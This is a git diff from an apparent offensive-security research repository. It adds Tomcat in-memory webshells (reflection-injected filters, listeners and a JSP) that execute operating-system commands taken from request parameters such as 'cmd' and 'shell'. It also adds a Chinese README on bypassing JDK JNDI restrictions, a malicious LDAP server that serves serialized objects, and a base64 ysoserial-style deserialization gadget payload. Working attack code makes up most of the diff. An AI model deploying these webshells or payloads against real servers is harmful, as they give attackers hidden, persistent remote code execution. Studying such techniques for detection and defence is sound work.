diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml new file mode 100644 index 0000000..f119767 --- /dev/null +++ b/.github/workflows/codeql-analysis.yml @@ -0,0 +1,70 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +# +# ******** NOTE ******** +# We have attempted to detect the languages in your repository. Please check +# the `language` matrix defined below to confirm you have the correct set of +# supported CodeQL languages. +# +name: "CodeQL" + +on: + push: + branches: [ master ] + pull_request: + # The branches below must be a subset of the branches above + branches: [ master ] + schedule: + - cron: '27 10 * * 1' + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + permissions: + actions: read + contents: read + security-events: write + + strategy: + fail-fast: false + matrix: + language: [ 'cpp', 'java', 'javascript', 'python' ] + # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] + # Learn more about CodeQL language support at https://git.io/codeql-language-support + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + languages: ${{ matrix.language }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + # queries: ./path/to/local/query, your-org/your-repo/queries@main + + # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@v1 + + # i️ Command-line programs to run using the OS shell. + # 📚 https://git.io/JvXDl + + # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines + # and modify them (or add more) to build your code if your project + # uses a compiled language + + #- run: | + # make bootstrap + # make release + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v1 diff --git a/MemShell/MemShell.iml b/MemShell/MemShell.iml index 41b7b09..af0c85e 100644 --- a/MemShell/MemShell.iml +++ b/MemShell/MemShell.iml @@ -9,6 +9,7 @@ + diff --git a/MemShell/src/memshell/tomcat/AddFilter.java b/MemShell/src/memshell/tomcat/AddFilter.java new file mode 100644 index 0000000..0911a45 --- /dev/null +++ b/MemShell/src/memshell/tomcat/AddFilter.java @@ -0,0 +1,152 @@ +package memshell.tomcat; + +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +// tomcat 8/9 +import org.apache.tomcat.util.descriptor.web.FilterMap; +import org.apache.tomcat.util.descriptor.web.FilterDef; +// tomcat 7 +//import org.apache.catalina.deploy.FilterDef; +//import org.apache.catalina.deploy.FilterMap; + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.util.Map; +import java.util.Scanner; + +@WebFilter("catfilter") +public class AddFilter implements Filter{ + String name = "AteamFilter"; + String injectURL = "/ateam"; + String shellParameter = "cat"; + AddFilter() { + + try { + java.lang.Class applicationDispatcher = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher"); + java.lang.reflect.Field WRAP_SAME_OBJECT = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT"); + java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + WRAP_SAME_OBJECT.setAccessible(true); + if (!WRAP_SAME_OBJECT.getBoolean(null)) { + WRAP_SAME_OBJECT.setBoolean(null, true); + } + + //初始化 lastServicedRequest + java.lang.Class applicationFilterChain = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain"); + java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); + modifiersField = lastServicedRequest.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + lastServicedRequest.setAccessible(true); + if (lastServicedRequest.get(null) == null) { + lastServicedRequest.set(null, new ThreadLocal()); + } + + //初始化 lastServicedResponse + java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse"); + modifiersField = lastServicedResponse.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + lastServicedResponse.setAccessible(true); + if (lastServicedResponse.get(null) == null) { + lastServicedResponse.set(null, new ThreadLocal()); + } + + + java.lang.reflect.Field lastServicedRequest2 = applicationFilterChain.getDeclaredField("lastServicedRequest"); + lastServicedRequest2.setAccessible(true); + java.lang.ThreadLocal thredLocal = (java.lang.ThreadLocal) lastServicedRequest2.get(null); + + + /*shell注入,前提需要能拿到request、response等*/ + if (thredLocal != null && thredLocal.get() != null) { + javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) thredLocal.get(); + javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); + + + + Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性 + appctx.setAccessible(true); + ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext + + Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性 + stdctx.setAccessible(true); + StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext + + Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); //获取属性 + Configs.setAccessible(true); + Map filterConfigs = (Map) Configs.get(standardContext); // 从standardContext中获取filterConfigs属性,将filterConfig加入这个这个map即可 + // 以上反射获取的成员属性都是接口实例的 + + if (filterConfigs.get(name) == null) { + AddFilter filter = new AddFilter("aaa"); + + FilterDef filterDef = new FilterDef(); // 组装filter各类信息和对象本身加载到标准的filterDef对象 + filterDef.setFilterName(name); + filterDef.setFilterClass(filter.getClass().getName()); + filterDef.setFilter(filter); + standardContext.addFilterDef(filterDef); // 将filterDef 添加到filterDefs中 + + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(injectURL); + filterMap.setFilterName(name); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 关键点就在于tomcat>=7以上才有这个 + standardContext.addFilterMapBefore(filterMap); // 组装filterMap 添加到filterMaps中 + + //在方法名中加Declared的是返回所有的构造方法,不加Declared的只返回public访问权限的构造器 + //反射机制中,所有添加Declared的获取方式都是暴力获取所有构造(或方法,或字段),通过暴力获取的字段我们在进行访问的时候需要进行可访问性设置,即获取的反射对象.setAccessible(true);否则只是获取而无法操作 + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + filterConfigs.put(name, filterConfig); //在filterConfigs中添加定义好的filterConfig + + } + ; + + } + } catch (NoSuchMethodException | InstantiationException | InvocationTargetException | NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) { + e.printStackTrace(); + } + } + + public AddFilter(String aaa) { + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest req = (HttpServletRequest) servletRequest; + HttpServletResponse resp = (HttpServletResponse) servletResponse; + if (req.getParameter(this.shellParameter) != null) { + String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; + InputStream in = Runtime.getRuntime().exec(req.getParameter(this.shellParameter)).getInputStream(); + Scanner s = new Scanner(in,charsetName).useDelimiter("\\A"); + String output = s.hasNext() ? s.next() : ""; +// servletResponse.getWriter().write(output); + + resp.getWriter().write(output); + + } + filterChain.doFilter(servletRequest, servletResponse); + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/MemShell/src/memshell/tomcat/InjectFilter.java b/MemShell/src/memshell/tomcat/InjectFilter.java index 6d4d68a..0c755c5 100644 --- a/MemShell/src/memshell/tomcat/InjectFilter.java +++ b/MemShell/src/memshell/tomcat/InjectFilter.java @@ -9,17 +9,16 @@ import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*; -import javax.servlet.annotation.WebFilter; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; +import java.util.Scanner; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; -import java.util.Scanner; /** * @ClassName: InjectFilter @@ -31,8 +30,8 @@ **/ //@WebFilter(filterName = "injectFilter", urlPatterns = "/*") @WebServlet("/injectFilter") -public class InjectFilter extends HttpServlet { -//public class InjectFilter extends HttpServlet implements Filter { +//public class InjectFilter extends HttpServlet { +public class InjectFilter extends HttpServlet implements Filter { @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { @@ -118,6 +117,8 @@ public void destroy() { } catch (Exception e) { e.printStackTrace(); } +// this.doFilter(request,response); + } @@ -133,33 +134,33 @@ public void destroy() { } -// @Override -// public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { -// HttpServletRequest req = (HttpServletRequest) request; -// HttpServletResponse resp = (HttpServletResponse) response; -// if (req.getParameter("cmd") != null) { -// boolean isLinux = true; -// String osTyp = System.getProperty("os.name"); -// if (osTyp != null && osTyp.toLowerCase().contains("win")) { -// isLinux = false; -// } -// String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; -// String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; -// InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); -// Scanner s = new Scanner(in,charsetName).useDelimiter("\\A"); -// String output = s.hasNext() ? s.next() : ""; -// resp.getWriter().write(output); -// resp.getWriter().flush(); -// } -// chain.doFilter(request, response); -// } -// - - - -// @Override -// public void init(FilterConfig filterConfig) throws ServletException { -// -// } + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + if (req.getParameter("cmd") != null) { + boolean isLinux = true; + String osTyp = System.getProperty("os.name"); + if (osTyp != null && osTyp.toLowerCase().contains("win")) { + isLinux = false; + } + String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; + String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; + InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); + Scanner s = new Scanner(in,charsetName).useDelimiter("\\A"); + String output = s.hasNext() ? s.next() : ""; + resp.getWriter().write(output); + resp.getWriter().flush(); + } + chain.doFilter(request, response); + } + + + + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } } diff --git a/MemShell/src/memshell/tomcat/TestFilter.java b/MemShell/src/memshell/tomcat/TestFilter.java index 5277e96..0645297 100644 --- a/MemShell/src/memshell/tomcat/TestFilter.java +++ b/MemShell/src/memshell/tomcat/TestFilter.java @@ -8,24 +8,105 @@ * @Version: v1.0.0 * @Description: **/ +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; + import javax.servlet.*; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.util.Map; +import java.util.Scanner; + +public class TestFilter extends HttpServlet implements Filter { -public class TestFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { - System.out.println("Filter init is ok!"); + Filter.super.init(filterConfig); + } + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + if (req.getParameter("cmd") != null) { + boolean isLinux = true; + String osTyp = System.getProperty("os.name"); + if (osTyp != null && osTyp.toLowerCase().contains("win")) { + isLinux = false; + } + String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; + String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; + InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); + Scanner s = new Scanner(in,charsetName).useDelimiter("\\A"); + String output = s.hasNext() ? s.next() : ""; + resp.getWriter().write(output); + resp.getWriter().flush(); + } + chain.doFilter(request, response); } @Override - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { - System.out.println("do Filter is ok!"); - filterChain.doFilter(servletRequest,servletResponse); - System.out.println("do Filter after"); + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { +// super.doGet(req, resp); + this.doPost(req, resp); } @Override - public void destroy() {} + protected void doPost(HttpServletRequest request, HttpServletResponse resp) throws ServletException, IOException { + + Field Configs = null; + Map filterConfigs; + try { + //这里是反射获取ApplicationContext的context,也就是standardContext + ServletContext servletContext = request.getSession().getServletContext(); + Field appctx = servletContext.getClass().getDeclaredField("context"); + appctx.setAccessible(true); + // 获取ApplicationContext对象 + ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); + Field stdctx = applicationContext.getClass().getDeclaredField("context"); + stdctx.setAccessible(true); + // 获取StandardContext对象 + StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); + // filter 名字 + String FilterName = "InjectFilter"; + // 获取StandardContext类中的字段filterConfigs + Configs = standardContext.getClass().getDeclaredField("filterConfigs"); + Configs.setAccessible(true); + + filterConfigs = (Map) Configs.get(standardContext); + // 判断filterConfigs map中是否含有恶意filter,如果没有注册,如果有则跳过 + + Filter filter = new Filter() { + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + Filter.super.init(filterConfig); + } + + @Override + public void destroy() { + Filter.super.destroy(); + } + }; + }catch (Exception e){ + + } + } + + } \ No newline at end of file diff --git a/MemShell/src/memshell/tomcat/addListener.java b/MemShell/src/memshell/tomcat/addListener.java new file mode 100644 index 0000000..3c3c726 --- /dev/null +++ b/MemShell/src/memshell/tomcat/addListener.java @@ -0,0 +1,115 @@ +package memshell.tomcat; + +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.StandardContext; + +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.Scanner; + +/** + * @ClassName: addListener + * @Description: TODO + * @Author: Summer + * @Date: 2021年8月6日 13:16 + * @Version: v1.0.0 + * @Description: + **/ +public class addListener implements ServletRequestListener { + addListener(){ + try { + //修改 WRAP_SAME_OBJECT 值为 true + java.lang.Class applicationDispatcher = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher"); + java.lang.reflect.Field WRAP_SAME_OBJECT = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT"); + java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + WRAP_SAME_OBJECT.setAccessible(true); + if (!WRAP_SAME_OBJECT.getBoolean(null)) { + WRAP_SAME_OBJECT.setBoolean(null, true); + } + + //初始化 lastServicedRequest + java.lang.Class applicationFilterChain = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain"); + java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); + modifiersField = lastServicedRequest.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + lastServicedRequest.setAccessible(true); + if (lastServicedRequest.get(null) == null) { + lastServicedRequest.set(null, new ThreadLocal()); + } + + //初始化 lastServicedResponse + java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse"); + modifiersField = lastServicedResponse.getClass().getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + lastServicedResponse.setAccessible(true); + if (lastServicedResponse.get(null) == null) { + lastServicedResponse.set(null, new ThreadLocal()); + } + + + java.lang.reflect.Field lastServicedRequest2 = applicationFilterChain.getDeclaredField("lastServicedRequest"); + lastServicedRequest2.setAccessible(true); + java.lang.ThreadLocal thredLocal = (java.lang.ThreadLocal) lastServicedRequest2.get(null); + /*shell注入,前提需要能拿到request、response等*/ + if (thredLocal != null && thredLocal.get() != null) { + javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) thredLocal.get(); + javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); + + //获取ApplicationContext + Field field = servletContext.getClass().getDeclaredField("context"); + field.setAccessible(true); + ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); + //获取StandardContext + field = applicationContext.getClass().getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(applicationContext); + + addListener addListener = new addListener("aaa"); + standardContext.addApplicationEventListener(addListener); + + } + + + } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {} + + + } + public addListener(String aaa) { + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + String cmd = servletRequestEvent.getServletRequest().getParameter("cmd"); + if (!cmd.isEmpty()){ + try { + ServletRequest req = servletRequestEvent.getServletRequest(); + + ServletContext con = servletRequestEvent.getServletContext(); + String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; + InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); + Scanner s = new Scanner(in,charsetName).useDelimiter("\\A"); + String output = s.hasNext() ? s.next() : ""; +// servletResponse.getWriter().write(output); + + + }catch (Exception e){ + + } + } + + } + +} diff --git a/MemShell/web/addlistener.jsp b/MemShell/web/addlistener.jsp new file mode 100644 index 0000000..69ee719 --- /dev/null +++ b/MemShell/web/addlistener.jsp @@ -0,0 +1,44 @@ +<%@ page contentType="text/html;charset=UTF-8" language="java" %> +<%@ page import="org.apache.catalina.core.ApplicationContext" %> +<%@ page import="org.apache.catalina.core.StandardContext" %> +<%@ page import="javax.servlet.*" %> +<%@ page import="javax.servlet.annotation.WebServlet" %> +<%@ page import="javax.servlet.http.HttpServlet" %> +<%@ page import="javax.servlet.http.HttpServletRequest" %> +<%@ page import="javax.servlet.http.HttpServletResponse" %> +<%@ page import="java.io.IOException" %> +<%@ page import="java.lang.reflect.Field" %> + + + +<% + class S implements ServletRequestListener{ + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + + } + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + if(request.getParameter("shell") != null){ + try { + Runtime.getRuntime().exec(request.getParameter("shell")); + } catch (IOException e) {} + } + } + } +%> + +<% + ServletContext servletContext = request.getSession().getServletContext(); + Field appctx = servletContext.getClass().getDeclaredField("context"); + appctx.setAccessible(true); + ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); + Field stdctx = applicationContext.getClass().getDeclaredField("context"); + stdctx.setAccessible(true); + StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); + out.println("inject success"); + S servletRequestListener = new S(); + standardContext.addApplicationEventListener(servletRequestListener); +%> + + \ No newline at end of file diff --git a/RMI JRMP JNDI/.idea/misc.xml b/RMI JRMP JNDI/.idea/misc.xml index 0dd2b25..06b074a 100644 --- a/RMI JRMP JNDI/.idea/misc.xml +++ b/RMI JRMP JNDI/.idea/misc.xml @@ -14,6 +14,9 @@ + + + diff --git a/RMI JRMP JNDI/README.md b/RMI JRMP JNDI/README.md index 69ad391..4a1aa9b 100644 --- a/RMI JRMP JNDI/README.md +++ b/RMI JRMP JNDI/README.md @@ -4,7 +4,7 @@  -##### jndi注入的利用条件 +### jndi注入的利用条件 - 客户端的lookup()方法的参数可控 - 服务端在使用Reference时,classFactoryLocation参数可控〜 @@ -19,7 +19,7 @@ - JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。 -##### jndi注入 demo +### jndi注入 demo - 创建一个恶意对象 @@ -125,3 +125,146 @@ public class Client {  + + +--- + +### 高版本JDK绕过,使用序列化对象进行Bypass + +其实一直以来JNDI有两种方式注入 + +LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory: + +●くろまる Using Java serialization + https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html +●くろまる Using JNDI References + https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html + + + + + +* JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。 + +**导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行** + +* Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。 + +**导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为tr** + + + +**com/sun/jndi/ldap/Obj.java做了两个判断1. reference 2. Serializable** + + + + + +一是利用远程codebase的方式,二是利用本地ClassPath里的反序列化利用链。在最新版的jdk8u中,codebase的方式依赖com.sun.jndi.ldap.object.trustURLCodebase的值,而第二种方式仍未失效。 + +如果在返回的属性中存在javaSerializedData,将继续调用deserializeObject函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原 + + + +实现代码: + +``` +package summersec.ldap; + +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPException; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import com.unboundid.util.Base64; +import java.io.FileInputStream; +import java.net.InetAddress; +import java.net.MalformedURLException; +import java.net.URL; +import java.text.ParseException; +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; + +public class LdapServer { + private static final String LDAP_BASE = "dc=example,dc=com"; + + public LdapServer() { + } + + public static String readFile(String filePath) throws Exception { + String result = "ser.payload"; + return result; + } + + public static void main(String[] args) throws Exception { + String url = "http://127.0.0.1/#T"; + String ports = "8080"; + int port = 8080; + String file = "1.ser"; + String POC = readFile(file); + + + try { + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"}); + config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())}); + config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url), POC)); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); + System.out.println("Listening on 0.0.0.0:" + port); + ds.startListening(); + } catch (Exception var8) { + var8.printStackTrace(); + } + + } + + private static class OperationInterceptor extends InMemoryOperationInterceptor { + private URL codebase; + private String POC; + + public OperationInterceptor(URL cb, String POC) { + this.codebase = cb; + this.POC = POC; + } + + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base = result.getRequest().getBaseDN(); + Entry e = new Entry(base); + + try { + this.sendResult(result, base, e); + } catch (Exception var5) { + var5.printStackTrace(); + } + + } + + protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { + URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); + System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); + e.addAttribute("javaClassName", "Exploit"); + String cbstring = this.codebase.toString(); + int refPos = cbstring.indexOf(35); + if (refPos> 0) { + cbstring.substring(0, refPos); + } + try { + e.addAttribute("javaSerializedData", Base64.decode(this.POC)); + } catch (ParseException var8) { + var8.printStackTrace(); + } + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + } +} +``` + + + +可以使用项目[LdapBypassJndi](https://github.com/Firebasky/LdapBypassJndi),工具将代码实现了ldap序列化对象的漏洞利用。 + diff --git a/RMI JRMP JNDI/lib/1.ser b/RMI JRMP JNDI/lib/1.ser new file mode 100644 index 0000000..ba2e83f --- /dev/null +++ b/RMI JRMP JNDI/lib/1.ser @@ -0,0 +1,55 @@ +rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh +cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u +cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjM +AgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMv +Y29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0 +aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29y +Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVy +h+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQA +EkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1 +cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1 +cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5v +cmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKsz +AwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsA +Bl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRp +bC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4 +BghU4AIAAHhwAAAGmsr+ur4AAAAyADkKAAMAIgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQB +AAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5l +TnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5 +bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0 +dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFs +YW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9z +ZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9v +cmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1 +bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy +OwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94 +c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy 